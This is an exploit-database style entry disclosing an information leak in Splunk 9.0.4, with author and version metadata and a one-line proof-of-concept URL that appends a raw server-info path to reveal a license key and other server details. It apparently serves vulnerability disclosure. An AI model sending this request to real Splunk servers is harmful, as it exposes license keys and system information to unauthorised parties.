Splunk version 9.0.4 suffers from an information disclosure vulnerability.
# Exploit Title: Splunk 9.0.4 - Information Disclosure
# Date: 2023-09-18
# Exploit Author: Parsa rezaie khiabanloo
# Vendor Homepage: https://www.splunk.com/
# Version: 9.0.4
# Tested on: Windows OS
# Splunk through 9.0.4 allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.
# PoC :
https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json